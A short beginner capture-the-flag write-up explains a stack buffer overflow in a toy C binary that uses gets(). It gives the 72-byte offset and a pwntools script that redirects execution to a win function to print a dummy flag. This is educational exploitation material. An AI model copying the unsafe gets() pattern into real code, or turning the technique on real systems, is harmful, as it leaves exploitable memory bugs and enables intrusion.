Sample CTF Writeup: Buffer Overflow 101
Table of Contents
Introduction
This is a sample writeup for a beginner binary exploitation challenge. The goal was to understand a classic stack buffer overflow.
The Vulnerable Code
The challenge provides a binary and its source code:
#include <stdio.h>
#include <string.h>
void win() {
printf("You won! Here is your flag: FLAG{dummy_flag}\n");
}
void vulnerable_function() {
char buffer[64];
printf("Enter input: ");
gets(buffer); // Vulnerability!
}
int main() {
vulnerable_function();
return 0;
}
Exploitation
The gets() function does not check the bounds of the input, allowing us to overwrite the return address of vulnerable_function on the stack with the address of the win function.
Determining the Offset
Using a cyclic pattern, we find the offset to the instruction pointer (EIP/RIP) is 72 bytes.
The Exploit Script
Here is the pwntools script used to send the payload:
from pwn import *
# Context setup
context.arch = 'amd64'
# Start process
p = process('./vuln_bin')
# Address of win function
win_addr = 0x401142
# Construct payload
payload = b"A" * 72 + p64(win_addr)
# Send payload
p.sendlineafter(b"Enter input: ", payload)
# Receive flag
p.interactive()
Conclusion
By overflowing the buffer with exactly 72 bytes of junk, the next 8 bytes overwrite the return address, successfully redirecting execution to our target function.